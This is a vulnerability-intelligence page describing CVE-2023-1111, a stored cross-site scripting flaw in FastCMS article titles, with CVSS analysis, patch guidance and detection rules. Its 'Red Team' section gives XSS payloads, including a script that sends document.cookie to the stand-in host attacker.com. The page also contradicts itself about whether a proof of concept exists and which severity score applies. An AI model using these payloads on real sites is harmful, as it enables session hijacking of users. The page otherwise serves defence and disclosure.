☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2023-1111

CVE-2023-1111 Cross-Site Scripting in Fastcms
📅 PUBLISHED: 2024-05-24 06:31 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
8.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-1111 identifies a stored cross-site scripting (XSS) vulnerability in FastCMS versions up to 0.1.5. The flaw resides in the "New Article" tab, where the Title parameter is not properly sanitized before being stored and later rendered. An attacker can inject arbitrary JavaScript code into the title field, which will execute in the context of any user viewing the affected article. This is a classic stored XSS (CWE-79) attack vector, requiring no authentication and exploitable remotely. The vulnerability has been publicly disclosed, increasing the risk of active exploitation. No official patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – No authentication needed to trigger the XSS.
  • User Interaction (UI): Required – The victim must view the malicious article.
  • Scope (S): Unchanged – The vulnerable component and the victim are in the same security boundary.
  • Confidentiality (C): None – No direct data theft from the server.
  • Integrity (I): Low – An attacker can modify content displayed to the victim.
  • Availability (A): None – No impact on system availability.

Threat Level: Medium. The attack is easy to execute, but requires user interaction. However, the public availability of a proof-of-concept elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the article creation functionality of FastCMS. When a user creates a new article, the Title parameter is accepted without proper validation or encoding. The application stores this unsanitized input in its database. When another user (or the same user) views the article, the stored title is rendered in the browser without escaping HTML entities. This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

  1. Attacker crafts a malicious payload, e.g., <script>alert('XSS')</script>.
  2. Attacker submits a new article with the malicious payload in the Title field.
  3. The application stores the payload in the database.
  4. A victim navigates to the article list or the article detail page.
  5. The victim's browser executes the injected script.

Impact:

  • Session hijacking (stealing cookies).
  • Defacement of the CMS interface.
  • Redirection to malicious sites.
  • Keylogging or phishing attacks within the trusted domain.

Vulnerable vs. Patched Code

Vulnerable Code (FastCMS <= 0.1.5): The application likely outputs the title directly without escaping. Example (pseudo-code):

// Vulnerable: Direct output without escaping
echo "<h1>" . $article['title'] . "</h1>";

Patched Code (Hypothetical): The fix would involve proper output encoding. Example:

// Patched: HTML-entity encoding
echo "<h1>" . htmlspecialchars($article['title'], ENT_QUOTES, 'UTF-8') . "</h1>";

Since no official patch exists, users must implement this fix manually or apply a WAF rule.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A running instance of FastCMS <= 0.1.5.
  • Access to the article creation form (no authentication required).

Exploit Steps:

  1. Navigate to the "New Article" page.
  2. In the Title field, enter the following payload:
    <script>alert(document.cookie)</script>
    
  3. Fill in other required fields (e.g., content) and submit the article.
  4. Any user viewing the article will see an alert box with their cookies.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Using a Browser Console (if direct form access is restricted):

// Assuming the form has an input with name="title"
document.querySelector('input[name="title"]').value = '<script>alert(1)</script>';
document.querySelector('form').submit();

Blue Team (Detection & Hardening)

Detection:

  • Monitor web server logs for unusual characters in the title parameter (e.g., <script>, onerror=, javascript:).
  • Use a Web Application Firewall (WAF) to block common XSS patterns.
  • Implement Content Security Policy (CSP) headers to mitigate script execution.

Hardening:

  • Apply input validation: reject or sanitize any HTML tags in the title field.
  • Use output encoding: always escape HTML entities when rendering user input.
  • Upgrade to a patched version if/when available.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /index.php?r=article/create with title parameter containing <script> tags.
    • Outbound connections to attacker-controlled domains (e.g., attacker.com) from the CMS server.
  • File IOCs:
    • Database entries in the article table with title fields containing JavaScript code.
  • Log IOCs:
    • Web server access logs showing POST requests to article creation endpoints with suspicious payloads.
    • Error logs showing JavaScript execution errors (e.g., SyntaxError).

Detection Engineering

YARA Rule

rule CVE_2023_1111_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in FastCMS article titles"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-1111"
    strings:
        $xss_payload_1 = /<script[^>]*>.*?<\/script>/is
        $xss_payload_2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss_payload_3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: FastCMS Stored XSS in Article Title
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2023-1111 stored XSS in FastCMS
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'r=article/create'
        cs-uri-query|contains|all:
            - 'title='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in title (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-1111 FastCMS Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/index.php"; http_uri; content:"r=article/create"; http_uri; pcre:"/title=.*<script/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the article creation functionality if not required.
  2. Input Validation: Implement strict validation on the Title field to reject any HTML tags.
  3. Output Encoding: Use htmlspecialchars() or equivalent when rendering the title.
  4. WAF Rules: Deploy a Web Application Firewall with rules to block XSS payloads.
  5. CSP Header: Add a Content Security Policy header to restrict script execution.
  6. Monitor: Review logs for signs of exploitation.
  7. Vendor Contact: Reach out to FastCMS maintainers for an official patch.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-1111/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.